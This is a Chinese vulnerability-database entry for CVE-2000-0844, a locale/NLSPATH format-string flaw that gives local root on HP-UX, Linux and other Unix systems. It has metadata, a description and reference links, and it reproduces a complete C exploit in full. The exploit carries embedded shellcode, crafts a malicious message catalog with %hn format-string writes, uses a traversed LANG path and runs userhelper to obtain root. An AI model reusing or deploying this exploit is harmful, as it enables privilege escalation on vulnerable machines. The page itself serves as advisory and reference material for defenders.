HP-UX NLSPATH环境变量权限提升漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105987 漏洞类型 权限许可和访问控制
发布时间 2000-09-04 更新时间 2009-01-20
CVE编号 CVE-2000-0844 CNNVD-ID CNNVD-200011-069
漏洞平台 Unix CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20190
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200011-069
|漏洞详情
HP-UX中的很多程序都使用libc库中的catopen()/catgets()等函数来显示本地化的信息。catopen()函数在检测到NLSPATH环境变量之后,会打开其指定的文件并从中读取消息。然而,catopen()函数并没有对suidroot程序使用NLSPATH变量进行限制,这允许本地攻击者通过设置NLSPATH变量指定自己构造的locale文件,当suidroot程序将使用catopen()打开该消息文件并将其中的数据传递给*printf()函数时,就可能造成格式串漏洞。任何使用catopen()/catgets()函数的suidroot程序都可能受此漏洞影响,本地攻击者可以利用此漏洞获取root权限。根据我们的测试,至少如下程序是受影响的:-r-sr-xr-x1rootbin45056Nov142000/usr/bin/at-r-sr-xr-x1rootbin24576Nov142000/usr/bin/crontab-r-sr-xr-x1rootbin45056Nov142000/usr/bin/ct-r-sr-xr-x1rootbin36864Apr192001/usr/bin/cu-r-sr-xr-x1rootbin20480Nov142000/usr/lbin/exrecover-r-sr-xr-x1rootbin40960Aug162001/usr/bin/lp-r-sr-sr-x2rootmail45056Nov142000/usr/bin/mail-r-sr-xr-x5rootbin45056Nov142000/usr/bin/passwd-r-sr-xr-x1rootbin24576Nov142000/usr/bin/su-r-sr-xr-x11rootbin1921024Nov62001/usr/sbin/swinstall-r-sr-xr-x2rootbin1028096Nov62001/usr/sbin/swpackage
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/1634/info
     
ectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
    
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
     
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
     
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
     
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
     
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
     
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
     
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.
*/


#include <stdio.h>
int getesp(){__asm__("movl %esp,%eax");}
char shellcode[] = 
"\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";

void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c)
// c       =what i want in the 1st location
// startloc=pointer to successive pointers 
{
 char *bigfmt;
 int f=0;
 unsigned int buffer=0;
 unsigned int d;
 unsigned int p,q,r,s;
 int n=1;
 unsigned int thistime;
 char fmt[1000];
 f=startloc;
 bigfmt=toaddr;
 sofar=(0x100-sofar%0x100);
 thistime=(c)%0x100+(sofar);
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcpy(bigfmt,fmt);
 sofar=(sofar+(0x100-thistime));
 thistime=(c>>8)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>16)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>24)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
}


main(int argc,char *argv[],char *env[])
{
 FILE *fi,*fo;
 char buf[100000],daenv[8000]; 
 char *cwd,evil[300];  
 char *localedir;
 unsigned long dasize=0,c,d=0,e=0,esp,i; 
 int o=0x0c12b;
 int dest=0xbfffff16;
 if (argc>1) d=atoi(argv[1]);
 if (d==0) d =79;
 if (argc>2) e=strtoul(argv[2],0,16);
 if (e==0) e=0xbffffdb8;
 fi=fopen("./util-linux.raw","r"); 
 if (!fi)
 {
  perror("bugger: input didn't open:");
  exit(-1);
 }
 if (mkdir("LC_MESSAGES",0755))
 {
  perror("Couldn't mkdir:");
  if (chdir("LC_MESSAGES"))
  {
   perror("chdir failed:");
   exit(-1);
  }
  chdir("..");
 }
 fo=fopen("./LC_MESSAGES/util-linux.mo","w");
 if (!fo)
 {
  perror("bugger: output didn't open:");
  exit(-1);
 }
 dasize=fread(buf,1,sizeof(buf),fi); 
 fclose(fi); 
 dopercentn(buf+o,d,0,dest);
 strcpy(evil,"01234567890123456789012345678"); 
 strcat(evil,shellcode); 
 esp=(unsigned int)(argv[0])%4;
 esp=(6-esp)%4;
 *(long*)(esp+evil)=e; 
 *(long*)(esp+evil+4)=e+1; 
 *(long*)(esp+evil+8)=e+2; 
 *(long*)(esp+evil+12)=e+3; 
 fwrite(buf,1,dasize,fo); // lazy, lazy, lazy.
 fclose(fo); 
 cwd=(char *)getcwd(0,0);
 if (!cwd)
 {
  perror("getcwd: Stop playing silly buggers. You want root, no? :");
  exit(-1);
 }
 localedir=(char*)malloc(2000);
 if (!localedir) 
 {
  perror("malloc: fuck this for a game of soldiers:");
 }
 sprintf(localedir,"en_US/../../../../../..%s",cwd);
 sprintf(daenv,"LANG=%s",localedir);
 env[0]=0x0000000;
 putenv("DISPLAY=:0.0");
 putenv(daenv);
 putenv("TERM=vt100");
 putenv("SHELL=/bin/sh");
 putenv("USER=root");
 putenv("LOGNAME=root");
 setenv("HOME",evil,1);
 printf("Using dir of: %s\n",localedir);
 execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0);
}

/* end of zen-nktb.c */
|参考资料

来源:BID
名称:1634
链接:http://www.securityfocus.com/bid/1634
来源:BUGTRAQ
名称:20000904UNIXlocaleformatstringvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0457.html
来源:XF
名称:unix-locale-format-string(5176)
链接:http://xforce.iss.net/xforce/xfdb/5176
来源:REDHAT
名称:RHSA-2000:057
链接:http://www.redhat.com/support/errata/RHSA-2000-057.html
来源:SUSE
名称:20000906glibclocalesecurityproblem
链接:http://www.novell.com/linux/security/advisories/adv5_draht_glibc_txt.html
来源:DEBIAN
名称:20000902glibc:localrootexploit
链接:http://www.debian.org/security/2000/20000902
来源:CALDERA
名称:CSSA-2000-030.0
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2000-030.0.txt
来源:COMPAQ
名称:SSRT0689U
链接:http://archives.neohapsis.com/archives/tru64/2000-q4/0000.html
来源:AIXAPAR
名称:IY13753
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0427.html
来源:BUGTRAQ
名称:20000902ConectivaLinuxSecurityAnnouncement-glibc
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0436.html
来源:SGI
名称:20